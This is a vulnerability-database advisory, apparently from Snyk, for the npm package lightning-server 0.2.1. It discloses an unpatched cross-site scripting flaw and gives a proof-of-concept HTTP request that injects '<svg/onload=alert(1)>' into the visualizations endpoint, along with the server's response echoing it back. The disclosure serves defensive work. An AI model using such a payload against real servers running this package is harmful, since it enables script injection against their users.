lightning-server@0.2.1 vulnerabilities

lightning dataviz notebooks

Direct Vulnerabilities

Known vulnerabilities in the lightning-server package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • M
Cross-site Scripting (XSS)

lightning-server is a lightning dataviz notebooks server.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It is possible to inject malicious JavaScript code as part of a session controller.

PoC

POST /sessions/6c9e14af-df56-4fb8-80fc-764f4c346839/visualizations/ HTTP/1.1
Host: dvws.local:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 33

{"type": "<svg/onload=alert(1)>"}
HTTP/1.1 404 Not Found
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 45
ETag: W/"2d-GxJ1BGb3IWYmlEm6oGRLzQ"
Vary: Accept-Encoding
Date: Sat, 17 Oct 2020 19:44:41 GMT
Connection: close

Could not find viz type <svg/onload=alert(1)>

How to fix Cross-site Scripting (XSS)?

There is no fixed version for lightning-server.

*